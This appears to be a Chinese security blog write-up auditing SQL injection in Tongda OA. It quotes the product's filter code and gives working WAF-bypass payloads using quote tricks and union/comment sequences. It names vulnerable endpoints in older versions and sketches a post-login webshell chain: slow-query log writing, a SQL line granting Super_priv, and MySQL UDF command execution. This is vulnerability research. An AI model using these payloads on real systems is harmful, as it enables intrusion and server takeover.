vlambda博客
学习文章列表

《通达oa的一些sql审计》


某oa sqlwaf绕过

某次有个师傅发来一张截图,某oa的sql注入,paylaod中使用了正则和关键词检测waf中拦截的字符,事后看了一下源码,发现了问题所在。
function db_query($Q, $C, $QUERY_MASTER){ $Q = sql_injection($Q); /*.... .....*/ return @mysql_query($Q, $C);}function sql_injection($db_string){ $clean = ""; $error = ""; $old_pos = 0; $pos = -1; $db_string = str_replace(" ", " ", $db_string);
while (true) { $pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) { break; }
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) { $pos1 = strpos($db_string, "'", $pos + 1); $pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) { break; } else { if (($pos2 == false) || ($pos1 < $pos2)) { $pos = $pos1; break; } }
$pos = $pos2 + 1; }
$clean .= "\$s\$"; $old_pos = $pos + 1; }
$clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean))); $fail = false; if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) { $fail = true; $error = _("联合查询"); } else { if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) { $fail = true; $error = _("注释代码" ); } else { //if .... } } if ($fail) { echo _("不安全的SQL语句:") . $error . "<br />"; echo htmlspecialchars($db_string); exit(); } else { return $db_string; }}
通过db_query函数执行sql时,先经过sql_injection函数检测,传入检测的是完整的sql语句,而不是输入的某个可控参数,这应该也是sql_injection函数没有拦截select的原因让我们跟一下sql_injection函数的检测过程,简而言之就是最后检测的不是传入的完整的sql,而是经过循环处理之后的拼接而成的clean,在处理过程中会去掉成对的单引号之间的字符(猜测开发认为成对的单引号包裹着的字符是安全的纯字符串,不用浪费资源用多层if else循环检测)很显然我们用一对单引号包着payload,就可以绕过waf,那么问题就在于如何让单引号不影响符合语法不影响sql语句的执行很显然我们可以用内联注释来注释掉单引号,但是/*被拦截了不能用,还可以用双引号包单引号,如下在没有转义情况下,假设sql语句为
select name from user where id=$id 传入 id="'" union select 1 #'构造  select name from user where id="'" union select 1 #' 这样经过sql_injection的循环处理之后,检测的clean值为 select name from user where id="$s$
但是如果存在传入的参数经过addslashes转义,就不能用双引号来包单引号了,个人想到一种办法是用反引号包单引号,然后构造符合语法的payload,如下假设sql语句为
select name from user where id=addslashes($id) 传入 id=0=(select 1 as ' ) union select 1 #' 构造  select name from user where id=0=(select 1 as \') union select 1 #'检测的clean值为 select name from user where id=0=(select 1 as `$s$
这是好久之前看的,写文章的时候突然又想起了;%00注释掉单引号或许也可以,不过环境已经不在了,有兴趣的师傅可以试试。

2017版本sql waf 绕过实战

2017版本中/general/reportshop/utils/get_datas.php存在一个sql注入,在最新版本中已被修复

$sql = "select $col from crscell.crs_tabledata$tab where $con order by $order";$res = MySQLExecuteSQL2($sql);

参数都可控,在con处注入,如图绕过


MySQLExecuteSQL2方法存在的问题

/general/reportshop/utils/utils.func.php

function MySQLExecuteSQL2($sql, $NoPrefix){ if (!selectcheck($sql)) { return NULL; }
$sql = str_replace("\\", "", $sql);
...
if ($cursor = exequery(TD::conn(), $sql)) { $fz = mysql_num_fields($cursor);
... }
return $res;}
通达大部分采用参数转义来解决sql注入问题,但是用MySQLExecuteSQL2方法执行sql又会把转义去掉,造成sql注入

最新版11.10后台getshell

这个洞是机缘巧合运气好,也要感谢哲宝和haoyugiegie。首先这个是通过qingyi漏洞库的一篇通达oa 11.7 后台sql注入漏洞&rce学到的,注入出现在general/hr/manage/query/delete_cascade.php文件中,在最新版11.10中被修复,但是修复的不完全,加了个加密,加密算法也可以解密(脑抽的我刚开始手逆了这个算法),任意sql执行可以用慢查询getshell设置web目录的时候要给当前mysql用户oa加一下权限UPDATE mysql . user SET   Super_priv = 'Y' WHERE   User = 'oa';flush privileges;
getshell之后没办法执行命令,通达disable_functions限制比较严格,可以利用mysql udf来执行命令最后感谢哲宝和haoyugiegie



·end·

—如果喜欢,快分享给你的朋友们吧—

我们一起愉快的玩耍吧




往期推荐